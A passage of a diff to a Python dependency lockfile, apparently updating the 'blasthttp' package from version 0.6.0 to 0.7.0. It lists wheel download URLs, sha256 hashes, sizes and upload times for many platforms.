"https://files.pythonhosted.org/packages/8f/d7/d5fd3c5df6168081ce544340904725f0eb6aa51c3a607d5295653888f290/blasthttp-0.6.0-cp310-cp310-manylinux_2_28_aarch64.whl", hash = "sha256:56ded6b27713fa342db563beb9727f5940ce9854c4bfd28b2d20c1d002513086", size = 4768807, upload-time = "2026-05-14T16:06:38.099Z" }, - { url = "https://files.pythonhosted.org/packages/06/48/890259faa9414895b596c1f295e6e3a086c186d0c1f12515b5bfc8544e3b/blasthttp-0.6.0-cp310-cp310-manylinux_2_28_armv7l.whl", hash = "sha256:eddcf73ff84668663723b10ddf4eb040940ee9859d7915b28d155b1d5da6d8a6", size = 4077493, upload-time = "2026-05-14T16:06:46.178Z" }, - { url = "https://files.pythonhosted.org/packages/50/57/8de9e9db8f2ad1cecbb1aa886621d8e9fd538934ab332b7ad969d7e1f388/blasthttp-0.6.0-cp310-cp310-manylinux_2_28_i686.whl", hash = "sha256:abeb13860a1f201316812cc55a83ceabb596857eecda3479fc1b093584cae9d6", size = 4668672, upload-time = "2026-05-14T16:07:11.409Z" }, - { url = "https://files.pythonhosted.org/packages/75/a0/838755b14b9947e1e203b6ac003e59ae631940ebe14981f9aaaf40d6e1a2/blasthttp-0.6.0-cp310-cp310-manylinux_2_28_ppc64le.whl", hash = "sha256:fe58eabea3b735aa520b44b85198f43a6789b0bb4cec54542977a464bf37ff10", size = 4671501, upload-time = "2026-05-14T16:06:54.771Z" }, - { url = "https://files.pythonhosted.org/packages/0e/f9/06a584a15463ae3866a95ff10f812bb55bcacf38ed00cd68d36d69c92f18/blasthttp-0.6.0-cp310-cp310-manylinux_2_28_s390x.whl", hash = "sha256:6f6977918765deaf6efd915db3b9074ae4dd4da040fb01c26bb6fb1fc2d8c39e", size = 4277768, upload-time = "2026-05-14T16:07:03.803Z" }, - { url = "https://files.pythonhosted.org/packages/4f/ad/7f6a7e04cedbdec74f201e2375c9a533ba81b0c00bac02e6749bb9fe84c7/blasthttp-0.6.0-cp310-cp310-manylinux_2_28_x86_64.whl", hash = "sha256:58d2a96d62191e6b20ea8472dd094c7136ec1454ea20f27661d6f0c6488f14ca", size = 4416208, upload-time = "2026-05-14T16:07:20.266Z" }, - { url = "https://files.pythonhosted.org/packages/8e/54/b98682d38e4a37156f3c6d77325b913decbd6a3a0c7bf7c9460b717b4acf/blasthttp-0.6.0-cp310-cp310-musllinux_1_2_aarch64.whl", hash = "sha256:855ca86cf138afa93d1fe4a97cacfdaf327dda8ead66b886952d43988c1e12c5", size = 5055173, upload-time = "2026-05-14T16:07:27.908Z" }, - { url = "https://files.pythonhosted.org/packages/72/7e/a76fdbabcba952ffdd7c1f1e4ece57dab5cac7e0c58ac4c947449c123f3b/blasthttp-0.6.0-cp310-cp310-musllinux_1_2_armv7l.whl", hash = "sha256:e791d595915f133e237a6bd03d3b8f753cc2293a49b7b3e82b62d6f4e76b63bb", size = 4373638, upload-time = "2026-05-14T16:07:35.629Z" }, - { url = "https://files.pythonhosted.org/packages/2b/16/966c970f688be1caa09c24a679f84dbfa32bc3d7c5556dec5edcc3c18531/blasthttp-0.6.0-cp310-cp310-musllinux_1_2_i686.whl", hash = "sha256:ddfc579111b941fc691d09ffa86ed9b7be23c3b0fb3d2622369708ccf56a3a52", size = 4799390, upload-time = "2026-05-14T16:07:43.384Z" }, - { url = "https://files.pythonhosted.org/packages/a9/27/16524bce47b0883569944bdb254dd548f50906731a5c0cbdcd5e6c6e8a1a/blasthttp-0.6.0-cp310-cp310-musllinux_1_2_x86_64.whl", hash = "sha256:d45d00374bfc6cd77f2b26f89dc6c4e29d084b0c95eff33c54b0daa47586ff5f", size = 4760167, upload-time = "2026-05-14T16:07:51.622Z" }, - { url = "https://files.pythonhosted.org/packages/a2/80/2bab812688587f19d9742465ae467facd584f9e0739411a038287ac7abad/blasthttp-0.6.0-cp311-cp311-manylinux_2_28_aarch64.whl", hash = "sha256:529b764c0a8a0d1dd2b67b4f8ccea5a079ff02cc2b50747f70dbb9697c560256", size = 4765336, upload-time = "2026-05-14T16:06:39.839Z" }, - { url = "https://files.pythonhosted.org/packages/26/1a/6ebb802a082c66f3597f387cf3d0a5ca4df50d2c3d34a48708c891937a52/blasthttp-0.6.0-cp311-cp311-manylinux_2_28_armv7l.whl", hash = "sha256:40f27fc54b8fd4dce4c2830eb5bbb85d8f4efb5872a1f0176342d6a6c826f0fc", size = 4074514, upload-time = "2026-05-14T16:06:47.98Z" }, - { url = "https://files.pythonhosted.org/packages/65/81/9bdbb226a50ed81edf9ab6cf18594097b6fee9f027344a4c5be366ea25e1/blasthttp-0.6.0-cp311-cp311-manylinux_2_28_i686.whl", hash = "sha256:b4cdd58b4f39904318783ea48321a1a1cdf9ebfeabe6695f9540d9f1f0a7eecf", size = 4665275, upload-time = "2026-05-14T16:07:13.538Z" }, - { url = "https://files.pythonhosted.org/packages/4c/24/ccefb9b9b0298a32eb43f072c152f8852585e33c30f844bb8c110ad03542/blasthttp-0.6.0-cp311-cp311-manylinux_2_28_ppc64le.whl", hash = "sha256:32c3c7533013623b45552a69f498f998d01c44739bd19c8ce0b63b804c1e1fac", size = 4669676, upload-time = "2026-05-14T16:06:57.134Z" }, - { url = "https://files.pythonhosted.org/packages/32/da/a9d9625a267ae42964503a665caf4cf9c3ccbf92829d40606b0311f851f7/blasthttp-0.6.0-cp311-cp311-manylinux_2_28_s390x.whl", hash = "sha256:20f4ff21a3b170bc208fd7fc6a87055d36e7f992c9d3bdc8af21f11c31ffb0f4", size = 4273185, upload-time = "2026-05-14T16:07:05.352Z" }, - { url = "https://files.pythonhosted.org/packages/18/85/433a37338aab174ef6b00ab77add1a6a124c22b9538d8ee6f7f9d5a7aa1c/blasthttp-0.6.0-cp311-cp311-manylinux_2_28_x86_64.whl", hash = "sha256:30586869e59bf341c3be44f2165a2aa4b42fbe922636ee476c1c4e9992d7e40e", size = 4412764, upload-time = "2026-05-14T16:07:21.667Z" }, - { url = "https://files.pythonhosted.org/packages/24/cd/91fd782521faea060d5673d1bcd0a79337c5c106128be5e50d77234419ca/blasthttp-0.6.0-cp311-cp311-musllinux_1_2_aarch64.whl", hash = "sha256:23f8737e9b162d7340f78506d0272335097ddce23b8471be9f2d4304b2a5bef2", size = 5051936, upload-time = "2026-05-14T16:07:29.505Z" }, - { url = "https://files.pythonhosted.org/packages/a0/c3/4da22fbe77be8205980ca7f9f68313cb4c21497b423fa163d389e3f07cb8/blasthttp-0.6.0-cp311-cp311-musllinux_1_2_armv7l.whl", hash = "sha256:274ea445b893cb48899c513821225b1a29d0752f065d2181851702d0192e2988", size = 4371992, upload-time = "2026-05-14T16:07:37.184Z" }, - { url = "https://files.pythonhosted.org/packages/8d/0e/be706e86d5b034809dfffdc1e9bf83de6e1e078977bb6e90ac271af79c9a/blasthttp-0.6.0-cp311-cp311-musllinux_1_2_i686.whl", hash = "sha256:d0a435a4386f739ff5b899df8ef5210159cfd98bab19afff1bb7f21777418adc", size = 4796663, upload-time = "2026-05-14T16:07:44.887Z" }, - { url = "https://files.pythonhosted.org/packages/cc/4f/420bf3d523572672ca0ee6f1e1fa9683d881b7fc78404fc0033b06ccc1b8/blasthttp-0.6.0-cp311-cp311-musllinux_1_2_x86_64.whl", hash = "sha256:834a3baa079be05c404ace80761ae4a2566c71dffa271994c2c146b13cd69044", size = 4757936, upload-time = "2026-05-14T16:07:53.124Z" }, - { url = "https://files.pythonhosted.org/packages/13/9c/21973500bc8a55c1d838c012421bbf680ba7b3a7966b747f78bfa75092d9/blasthttp-0.6.0-cp312-cp312-manylinux_2_28_aarch64.whl", hash = "sha256:ba03033863b63e6ad9dc8ad6f1546009931a3714bc4e7fdafaecdc183111472e", size = 4757458, upload-time = "2026-05-14T16:06:41.441Z" }, - { url = "https://files.pythonhosted.org/packages/6c/3a/efd0e5d00819b9ac8a084aa283a460646f6b5cd21cab521be67c0bfca634/blasthttp-0.6.0-cp312-cp312-manylinux_2_28_armv7l.whl", hash = "sha256:a8ee21ce5833f3cf61395dee37255426d043248826deccb8bb03b36e4df43b38", size = 4073270, upload-time = "2026-05-14T16:06:49.891Z" }, - { url = "https://files.pythonhosted.org/packages/b1/ca/2954c2fcdfd2e5acbef065dad0cf5f0097a2e93a29e75f470d0aaadcd1ce/blasthttp-0.6.0-cp312-cp312-manylinux_2_28_i686.whl", hash = "sha256:84be7bcb5381441edc2df5f01fa5e76ff9a0d87b6cc161bb0ef5bb8984ac5828", size = 4666252, upload-time = "2026-05-14T16:07:15.361Z" }, - { url = "https://files.pythonhosted.org/packages/f3/dc/53e3fc94cad450ac92ab4eeb925749d149c313ca2365eb33c7ab3a7447ce/blasthttp-0.6.0-cp312-cp312-manylinux_2_28_ppc64le.whl", hash = "sha256:14166a045d226aed3acecfe4daadf4b27b89905d6dd83d6a30bb1e1e1a67ae57", size = 4668525, upload-time = "2026-05-14T16:06:58.518Z" }, - { url = "https://files.pythonhosted.org/packages/60/29/2e21ebc6b9f4bcaa55498213e1265d866a82409b9ef0cf1c1c039aa121a5/blasthttp-0.6.0-cp312-cp312-manylinux_2_28_s390x.whl", hash = "sha256:241dbf9c5f4977631414cd76a08a38d786996aadaed12feecb1a976fd363f547", size = 4277716, upload-time = "2026-05-14T16:07:06.989Z" }, - { url = "https://files.pythonhosted.org/packages/8d/b2/888fcb40ae9f3759c35264d359c3b25a179d2aabdcb2c80761b60581baef/blasthttp-0.6.0-cp312-cp312-manylinux_2_28_x86_64.whl", hash = "sha256:8fe29d685c3bc372f9eb68341794bc2410c23faac0d0789913f270832446a8c9", size = 4412080, upload-time = "2026-05-14T16:07:23.316Z" }, - { url = "https://files.pythonhosted.org/packages/d6/0b/933ca0ac433e4217c88acf6d0fda8c82035f0a4c660eed1438fe95d27532/blasthttp-0.6.0-cp312-cp312-musllinux_1_2_aarch64.whl", hash = "sha256:7bcab81227fa9d1132c169e1c6471fe0d9ba7d345652c9dc6c56f33f57e9b289", size = 5048699, upload-time = "2026-05-14T16:07:30.906Z" }, - { url = "https://files.pythonhosted.org/packages/00/61/a0051df64100b7720e717f041e48691d30dc63798dcab7b58fc2061da7e0/blasthttp-0.6.0-cp312-cp312-musllinux_1_2_armv7l.whl", hash = "sha256:d4d46ab96780a74c877ff10e57cdb9ca09a7070fa4b58bb65ac7b62131586fd1", size = 4370681, upload-time = "2026-05-14T16:07:39.045Z" }, - { url = "https://files.pythonhosted.org/packages/11/c1/cfcdef2a7d63e1a3c0ff859ad3e47c88752d47daa08a0e61be6a7774afa1/blasthttp-0.6.0-cp312-cp312-musllinux_1_2_i686.whl", hash = "sha256:780c34b119fa84b8ce12a7709697820d3cfba97e1d2b4610dafcafef5af97e99", size = 4794525, upload-time = "2026-05-14T16:07:47.055Z" }, - { url = "https://files.pythonhosted.org/packages/cd/c9/22e1fc9643a89db1d1d4191298ddef232c26969a45fe8ed822641073488c/blasthttp-0.6.0-cp312-cp312-musllinux_1_2_x86_64.whl", hash = "sha256:6fce231bc68ca9919f7762603415b2b66326e3e71015e48573657536f4692435", size = 4756099, upload-time = "2026-05-14T16:07:54.854Z" }, - { url = "https://files.pythonhosted.org/packages/de/cf/f815fdd9fcaaecb1923ae7a15bd31fb2491003d2d69c3e8ce0054f014a8f/blasthttp-0.6.0-cp313-cp313-manylinux_2_28_aarch64.whl", hash = "sha256:add7512d1349e9a02c6b96f367afca883b99f0de1d9dea156d7802f53bd02770", size = 4756447, upload-time = "2026-05-14T16:06:43.212Z" }, - { url = "https://files.pythonhosted.org/packages/36/43/1e4ddabae180bf37a70e8da6df45c30057780f3760332e3203ac682a9240/blasthttp-0.6.0-cp313-cp313-manylinux_2_28_armv7l.whl", hash = "sha256:4207c34e9a39a272b931746115e106c43e8317a110f866d3f34d56deea1faf76", size = 4072488, upload-time = "2026-05-14T16:06:51.774Z" }, - { url = "https://files.pythonhosted.org/packages/f3/64/51f136383ffb0e19f816eaf180fbe881ab642ebd35b4c232a380987c7cde/blasthttp-0.6.0-cp313-cp313-manylinux_2_28_i686.whl", hash = "sha256:f69bc235a566882d93803c23a2d675142a9e8677d591668c59e68e8fd777ef3e", size = 4668559, upload-time = "2026-05-14T16:07:17.138Z" }, - { url = "https://files.pythonhosted.org/packages/66/99/d56bd452d2f4ff3f02d2819f08a4ed8a38f8d23338543482b0300e30dbce/blasthttp-0.6.0-cp313-cp313-manylinux_2_28_ppc64le.whl", hash = "sha256:5811f54ff948978126238c90e3c0fb97f3d844dbedda249801afa25f2f58629b", size = 4668309, upload-time = "2026-05-14T16:07:00.046Z" }, - { url = "https://files.pythonhosted.org/packages/25/00/68df15ffdca54262be7a21a73933830c839791d7da2e4b46bfc937680fca/blasthttp-0.6.0-cp313-cp313-manylinux_2_28_s390x.whl", hash = "sha256:9d0d9fb433770322ad8c06bd5146f02605d585dd32729a00e14739196ee524f7", size = 4277320, upload-time = "2026-05-14T16:07:08.528Z" }, - { url = "https://files.pythonhosted.org/packages/ff/2d/4307948c59213cd6bd2953416e23c26f3f52608d63077643fd0a29285bd9/blasthttp-0.6.0-cp313-cp313-manylinux_2_28_x86_64.whl", hash = "sha256:2a364a9a7893f0b8d72ac3588d5f43a213ae907a2cde79b7aa138ddd3c010ae6", size = 4411831, upload-time = "2026-05-14T16:07:24.781Z" }, - { url = "https://files.pythonhosted.org/packages/2f/4a/b6982fa4f3562862c5963b11b6a1563c4dc7d2ba78982473fe156f8014db/blasthttp-0.6.0-cp313-cp313-musllinux_1_2_aarch64.whl", hash = "sha256:1360b4dc332bb079faf27ee9180255aaff16225e2984c0bbfdf1cdc079190054", size = 5047182, upload-time = "2026-05-14T16:07:32.649Z" }, - { url = "https://files.pythonhosted.org/packages/46/30/a13caf8c0d8d86b4936da3ccdcf6101a50d1e96236efbcb9eb6715ec0d56/blasthttp-0.6.0-cp313-cp313-musllinux_1_2_armv7l.whl", hash = "sha256:83d8047133f6ee0646c968078acf99e61213ce5c94be4ba3db87a39301730d37", size = 4371606, upload-time = "2026-05-14T16:07:40.573Z" }, - { url = "https://files.pythonhosted.org/packages/8c/77/67686791aada4e39ba7dcf5c9799ad7b92c314c2bf8bd8f6cc30751789ba/blasthttp-0.6.0-cp313-cp313-musllinux_1_2_i686.whl", hash = "sha256:e0152eea7635053d6588957f8f5ba266aa9d2be217000f176d9aa801c69a28a0", size = 4794127, upload-time = "2026-05-14T16:07:48.652Z" }, - { url = "https://files.pythonhosted.org/packages/28/93/aae5c8b8333d61d3cdd228dc686a496559cc54583b53404f18723480ba51/blasthttp-0.6.0-cp313-cp313-musllinux_1_2_x86_64.whl", hash = "sha256:06bb28235b7c48a9faee9afca9cbae74612a86215ece769edfe8c9b5776e422d", size = 4755045, upload-time = "2026-05-14T16:07:56.424Z" }, - { url = "https://files.pythonhosted.org/packages/9f/95/074bd5bd743f7972ad854614ddd4a94bb6cf5c236ed39fc4c96b1212c51b/blasthttp-0.6.0-cp314-cp314-manylinux_2_28_aarch64.whl", hash = "sha256:5f2f1bcd183b3b9a9d60e9edccb5ffb8b11608824b88ffc848da065225a03635", size = 4762581, upload-time = "2026-05-14T16:06:44.706Z" }, - { url = "https://files.pythonhosted.org/packages/52/94/62c1a2369a5ca4397c0f32146a3ea2cb698ab3c41ce313f07e46b0d3bb70/blasthttp-0.6.0-cp314-cp314-manylinux_2_28_armv7l.whl", hash = "sha256:aca4c2d7f593fba10c71790c17bc6d47cee5e8177e1f8dc21b8e42b6a05b81d4", size = 4066477, upload-time = "2026-05-14T16:06:53.229Z" }, - { url = "https://files.pythonhosted.org/packages/c8/61/acae082d6a846b699474160bdd9e5c2c2764e6bcb8948d91fb05ceb4ce1b/blasthttp-0.6.0-cp314-cp314-manylinux_2_28_i686.whl", hash = "sha256:0b22afaca123defb8ee029106ff73e125e2015c5a93055d50db31e46e53775a2", size = 4666893, upload-time = "2026-05-14T16:07:18.703Z" }, - { url = "https://files.pythonhosted.org/packages/e2/dc/fcff4f1019d9219af540c1b5477c8e77d223727f179191023741080809dc/blasthttp-0.6.0-cp314-cp314-manylinux_2_28_ppc64le.whl", hash = "sha256:e23844187f065a4a28783a66c77e2be8573ac0f46f1b7b45fc6283b80c9a16a7", size = 4662504, upload-time = "2026-05-14T16:07:01.843Z" }, - { url = "https://files.pythonhosted.org/packages/ce/e0/d933f3642b63c5d30650c650e896929330e4291bd87daea1c7db0154436a/blasthttp-0.6.0-cp314-cp314-manylinux_2_28_s390x.whl", hash = "sha256:5df304aa290e6bee8aaa30fa7dd25142d68d84b65815004e0485c3ab9e26135c", size = 4278626, upload-time = "2026-05-14T16:07:09.947Z" }, - { url = "https://files.pythonhosted.org/packages/b4/ec/9e42f77b5e8769fccde321da6c46e8f53f3234bce11d4069525367eaec3d/blasthttp-0.6.0-cp314-cp314-manylinux_2_28_x86_64.whl", hash = "sha256:16b235b97250e950595d52bd3cc33ef5866d447fc34ae8e87aaba9b12c00f274", size = 4413903, upload-time = "2026-05-14T16:07:26.367Z" }, - { url = "https://files.pythonhosted.org/packages/79/d7/fca5cd404cfa334af0564f0f389ca0bff1fc31dbbf8ec789e513e7f1602b/blasthttp-0.6.0-cp314-cp314-musllinux_1_2_aarch64.whl", hash = "sha256:b3e4d48aa123631e8b145ca8b02dca36dc228faa05f62d005e91e84df70e765f", size = 5049329, upload-time = "2026-05-14T16:07:34.185Z" }, - { url = "https://files.pythonhosted.org/packages/68/8e/d5888f46ed0fa3347c94b64026bebbb32e669f99c47331e5042f233829ba/blasthttp-0.6.0-cp314-cp314-musllinux_1_2_armv7l.whl", hash = "sha256:9ab31071b463a1a2ca807110c3c4446f3162596ec4949dded0c24c5c388a0bc5", size = 4370551, upload-time = "2026-05-14T16:07:42.016Z" }, - { url = "https://files.pythonhosted.org/packages/cd/7b/1738014c489e2d6ae48389ac0046b4f078e0b1870c48d848e79b83d3662d/blasthttp-0.6.0-cp314-cp314-musllinux_1_2_i686.whl", hash = "sha256:0cfa06dc4005b0fd13da713ba4635b53f5c217c6b2ca59c6afe0f3eecb0c1ef0", size = 4793665, upload-time = "2026-05-14T16:07:50.199Z" }, - { url = "https://files.pythonhosted.org/packages/6d/92/7cb91e22d579bb39052ecfbe298001df6d2af49405eb2bf202024a0e0a7b/blasthttp-0.6.0-cp314-cp314-musllinux_1_2_x86_64.whl", hash = "sha256:2cc57caa53d9135ba57a29d4a7eaf682e3499bfbe06670a79482ff88c8e3abd8", size = 4757378, upload-time = "2026-05-14T16:07:57.877Z" }, +version = "0.7.0" +source = { registry = "https://pypi.org/simple" } +sdist = { url = "https://files.pythonhosted.org/packages/b1/f1/865a58a73b0cf6eff679ace027ef43760db098abf7b8d7da24f689467234/blasthttp-0.7.0.tar.gz", hash = "sha256:a7bc2efa0fd307c0f4499d60a4b2e610a8e46024a8cbacc96a04d2ff150da2d7", size = 144082, upload-time = "2026-05-20T18:36:10.543Z" } +wheels = [ + { url = "https://files.pythonhosted.org/packages/17/29/2b0e1473ee2b05890fe50bb686036a3307cacb5f9707593ae4824ebb8299/blasthttp-0.7.0-cp310-cp310-manylinux_2_28_aarch64.whl", hash = "sha256:98d65d2563bb9e90235f32221b5c21cf630d090c1ee5fa16c508fa76c733dba9", size = 4770634, upload-time = "2026-05-20T18:34:25.018Z" }, + { url = "https://files.pythonhosted.org/packages/d8/bf/47c381d41a4026cde973e0c60f8fa7c923267ec65a77bd0e1326e1dac132/blasthttp-0.7.0-cp310-cp310-manylinux_2_28_armv7l.whl", hash = "sha256:b0c58ed0612676d69aa532b4db5dad4a2d65bf88a4ba2fe18f645b82946d02a7", size = 4076998, upload-time = "2026-05-20T18:34:35.682Z" }, + { url = "https://files.pythonhosted.org/packages/8e/f7/9bed3acc07d387af41295ef9bc18bd0c0097e78ef51ac050bdc2a947d36a/blasthttp-0.7.0-cp310-cp310-manylinux_2_28_i686.whl", hash = "sha256:23209778e4d8a09421750a15cdcecda3453c845ee69d440a56b15d3bf4462299", size = 4670099, upload-time = "2026-05-20T18:35:06.353Z" }, + { url = "https://files.pythonhosted.org/packages/e5/2e/e028e13a2574d91996a0cc99d616eff3f55749d9d7a4f7cfad263017a388/blasthttp-0.7.0-cp310-cp310-manylinux_2_28_ppc64le.whl", hash = "sha256:29a53c5f24703ca9499f45e14ab68e992ca9ce20b0509d066b2b4660df8a61c3", size = 4672784, upload-time = "2026-05-20T18:34:46.13Z" }, + { url = "https://files.pythonhosted.org/packages/6e/b6/13786a4caab7bccc2d8362907f48b0b1db1793121ad2b88073f409d41f2a/blasthttp-0.7.0-cp310-cp310-manylinux_2_28_s390x.whl", hash = "sha256:10e853c213aad3a35fa12c356d9793e3f04e85cb1588427ebce0f4aff00768a3", size = 4281889, upload-time = "2026-05-20T18:34:56.791Z" }, + { url = "https://files.pythonhosted.org/packages/bd/30/170ee9c6b2747b0256a7d95e9545ba35558a23b42f71405ba86a4ccbc90d/blasthttp-0.7.0-cp310-cp310-manylinux_2_28_x86_64.whl", hash = "sha256:fde753c65ebb9ea1e1db82aaad2d8b1dfaa918d81bcc0c53623679673a042b52", size = 4419227, upload-time = "2026-05-20T18:35:17.029Z" }, + { url = "https://files.pythonhosted.org/packages/bb/6d/03ffacab4b75fbbff6d271a08641de191690e097341d4436b3f98a618fd1/blasthttp-0.7.0-cp310-cp310-musllinux_1_2_aarch64.whl", hash = "sha256:175ef0641c30032fe3575ec5abdf09dfbd67eceeb01d38aba5fc7f1689732a35", size = 5057614, upload-time = "2026-05-20T18:35:27.655Z" }, + { url = "https://files.pythonhosted.org/packages/95/31/4f77b33f30dfbac09ad652e8bb8bb3ef96d2e0ebf161a1635f04f4eac739/blasthttp-0.7.0-cp310-cp310-musllinux_1_2_armv7l.whl", hash = "sha256:c35c6c0a17c967dc1f7f7a794742594969683447aca08520c1c2013a4dd20d17", size = 4372695, upload-time = "2026-05-20T18:35:38.693Z" }, + { url = "https://files.pythonhosted.org/packages/43/f2/6f61f25ba7462bbc0d8e67213c5e08ff5199d9ba83b8ae14389b62cff84c/blasthttp-0.7.0-cp310-cp310-musllinux_1_2_i686.whl", hash = "sha256:589b4d5974d862061946f35b76482d63a5a7236b48e292baf8e06145d6ba2b3b", size = 4799965, upload-time = "2026-05-20T18:35:49.707Z" }, + { url = "https://files.pythonhosted.org/packages/89/07/0794685daa83eb53da106efa2fc63583cfaef664673b550d65f0adf9f727/blasthttp-0.7.0-cp310-cp310-musllinux_1_2_x86_64.whl", hash = "sha256:d2db5f28b23d4c83f372960f493f4fb4fbc99b999eb25cc6a4638fa4fe33ab6b", size = 4761521, upload-time = "2026-05-20T18:36:00.45Z" }, + { url = "https://files.pythonhosted.org/packages/92/47/d70cceeb951fbc2ef1432cd4b78efe4da3f07bbf0f795db3cbf257e76007/blasthttp-0.7.0-cp311-cp311-manylinux_2_28_aarch64.whl", hash = "sha256:2bdd24d9d94d1b75d3a0b115421848f0e1ae3b6172c17243b6bf5b27a3b81db7", size = 4767183, upload-time = "2026-05-20T18:34:27.365Z" }, + { url = "https://files.pythonhosted.org/packages/30/a4/41c03c12f11de49144e398e41a797fe093b608cbec323205c6685ee7f87e/blasthttp-0.7.0-cp311-cp311-manylinux_2_28_armv7l.whl", hash = "sha256:d3f9288e6361d470f41d896dfd07594b9d300b521241cd5464918a028ebdc48e", size = 4071654, upload-time = "2026-05-20T18:34:37.545Z" }, + { url = "https://files.pythonhosted.org/packages/0e/f0/0bef9e086e403bf236e2b22b346da5a31dd98afd105c532a7ce7d44ebe1e/blasthttp-0.7.0-cp311-cp311-manylinux_2_28_i686.whl", hash = "sha256:2cd3095605df10d05521eca5a8591afeee0f1993bdd3b4f0d5485308cedc5fd0", size = 4667292, upload-time = "2026-05-20T18:35:08.462Z" }, + { url = "https://files.pythonhosted.org/packages/0c/ff/381b658d13588c83d8755939ba57a36a722c00111794f3ad8c7b2e008741/blasthttp-0.7.0-cp311-cp311-manylinux_2_28_ppc64le.whl", hash = "sha256:831b8fbae80e31074891e71ae68396b082f363faa9d443a51e376db52f103a45", size = 4671353, upload-time = "2026-05-20T18:34:48.418Z" }, + { url = "https://files.pythonhosted.org/packages/c9/25/d475e148f374b191a84b5ce7e7a03745b818a6338db60bb3e1503f1d0678/blasthttp-0.7.0-cp311-cp311-manylinux_2_28_s390x.whl", hash = "sha256:e9ce771e18950a765b3329188760e141481638dda411a649573333a280983688", size = 4278895, upload-time = "2026-05-20T18:34:58.79Z" }, + { url = "https://files.pythonhosted.org/packages/cb/ec/ee02a7820693705a45db867f515696ccd8330e0ba198c13a2fe9b4e2ab3b/blasthttp-0.7.0-cp311-cp311-manylinux_2_28_x86_64.whl", hash = "sha256:4ecce664756bec9f3819562b57fdce8eb8b3ed6699568d06c2acc19163fe032b", size = 4415258, upload-time = "2026-05-20T18:35:19.313Z" }, + { url = "https://files.pythonhosted.org/packages/bc/c7/31ec5d0604464f5a720189ff3594ccdf5b19808d545c42b568938e7c8c72/blasthttp-0.7.0-cp311-cp311-musllinux_1_2_aarch64.whl", hash = "sha256:544122b14087cb5a45a830db1883a1f3bfa24edcb8d7e6fb2761ff307e80b9de", size = 5053948, upload-time = "2026-05-20T18:35:29.777Z" }, + { url = "https://files.pythonhosted.org/packages/51/eb/5140a96872ea4bf2e25cc13abeae10aab342493983e7536a32b91497be77/blasthttp-0.7.0-cp311-cp311-musllinux_1_2_armv7l.whl", hash = "sha256:fd370b70cf8ca0cee071b4c01970035ac801440e74f61e40e396982e0f93327d", size = 4371738, upload-time = "2026-05-20T18:35:40.768Z" }, + { url = "https://files.pythonhosted.org/packages/e7/fd/4730b36b8b433970f88e71efea7720ae44dbbb97cbd26da534ada109e8c6/blasthttp-0.7.0-cp311-cp311-musllinux_1_2_i686.whl", hash = "sha256:3105d2adcdf4455e50ce6f43b00a413588b6f13b3efb8a456a240caa4803925b", size = 4797170, upload-time = "2026-05-20T18:35:52.023Z" }, + { url = "https://files.pythonhosted.org/packages/29/90/1caef64a4ea2a6cbfea589d24bba8ca05fd9b4866d0ee13f204adc4bf92c/blasthttp-0.7.0-cp311-cp311-musllinux_1_2_x86_64.whl", hash = "sha256:3a18cf7c62eec4f457628cb8f43256edde1e4b684350f454390326d5a3bb40b0", size = 4758832, upload-time = "2026-05-20T18:36:02.834Z" }, + { url = "https://files.pythonhosted.org/packages/73/e7/4c2538f02911d4cafceee66f020eceaa7dbc3ca8a20823aae7d03948413e/blasthttp-0.7.0-cp312-cp312-manylinux_2_28_aarch64.whl", hash = "sha256:08153a427b34700167452b587d90282cef53ab369d82ba6e6964769d56b929ea", size = 4760706, upload-time = "2026-05-20T18:34:29.317Z" }, + { url = "https://files.pythonhosted.org/packages/81/d0/2476f0aeb0f6043a1c25d573ce43619c6eb4f8a21a41ee9923dfd259c719/blasthttp-0.7.0-cp312-cp312-manylinux_2_28_armv7l.whl", hash = "sha256:91ac173cabb88005c1eafa73c7aaef923c54bdde0780285ff9e5a9e962ce226e", size = 4074626, upload-time = "2026-05-20T18:34:39.63Z" }, + { url = "https://files.pythonhosted.org/packages/d1/fb/3a9645d02c844cc893227d44cdb1851a6ed1bde2c096e784a5a47e7eb786/blasthttp-0.7.0-cp312-cp312-manylinux_2_28_i686.whl", hash = "sha256:af59d17d37382b43b8c2bfa71393fe56969c1900fc41d4dd8dff0fa77cfcd30f", size = 4667476, upload-time = "2026-05-20T18:35:10.788Z" }, + { url = "https://files.pythonhosted.org/packages/5b/3d/6e27f9364c55d7af42fd66d798aef77b2c8aa8766cc5d5e514aeb7b4d4fe/blasthttp-0.7.0-cp312-cp312-manylinux_2_28_ppc64le.whl", hash = "sha256:c35771ea99036700a2104f0f890489a08017f4962020e401e2bd7a8b230bd2fd", size = 4668736, upload-time = "2026-05-20T18:34:50.432Z" }, + { url = "https://files.pythonhosted.org/packages/f6/2b/62a47a995a28b73a4c6bde0ab9ba4fa561ec0deb8688bb7a17eaa970084a/blasthttp-0.7.0-cp312-cp312-manylinux_2_28_s390x.whl", hash = "sha256:fc6940aa548575b8594b2709eefb2aaeb6a4d5177eb893d5ec58988a4fd718d4", size = 4283896, upload-time = "2026-05-20T18:35:00.73Z" }, + { url = "https://files.pythonhosted.org/packages/ec/bf/cb3aa60b84f09636dd134e790c2fe1defde47558ba48ecaeaf0332b35f35/blasthttp-0.7.0-cp312-cp312-manylinux_2_28_x86_64.whl", hash = "sha256:41493413126932fa2f4ff648594dd456e0b38df07fc8a5abc44ff4a4899d822f", size = 4413214, upload-time = "2026-05-20T18:35:21.232Z" }, + { url = "https://files.pythonhosted.org/packages/60/78/0eee08fc6fed1484218217f078401b81acb5dcfa9b5f14c2d73eee427fe4/blasthttp-0.7.0-cp312-cp312-musllinux_1_2_aarch64.whl", hash = "sha256:a88104e84849dad76cd494d65a07a08f80be77d381c480ab485124b7cc2e7168", size = 5051264, upload-time = "2026-05-20T18:35:32.31Z" }, + { url = "https://files.pythonhosted.org/packages/9e/b2/64b2c040b47a1026a4aef83d9534beb8a21d48ec1d1e1ff50df5e5eb762e/blasthttp-0.7.0-cp312-cp312-musllinux_1_2_armv7l.whl", hash = "sha256:128d6e96e685c1fe290dcb9859f6530af79244ee238160fb0ca5ba26e016e086", size = 4371504, upload-time = "2026-05-20T18:35:42.951Z" }, + { url = "https://files.pythonhosted.org/packages/c4/76/a3974f942321abde2ea479350fabe00e7fd9fba76316bcc8fec59b85ab83/blasthttp-0.7.0-cp312-cp312-musllinux_1_2_i686.whl", hash = "sha256:57624031eb5f1b236b729270654eeb54a69aaba96e45778c5bdbdbdc9130eb5b", size = 4794975, upload-time = "2026-05-20T18:35:54.223Z" }, + { url = "https://files.pythonhosted.org/packages/74/d6/413818673ae8887570dc69085c45bd7fb6937d68700af144a2b14bf6520c/blasthttp-0.7.0-cp312-cp312-musllinux_1_2_x86_64.whl", hash = 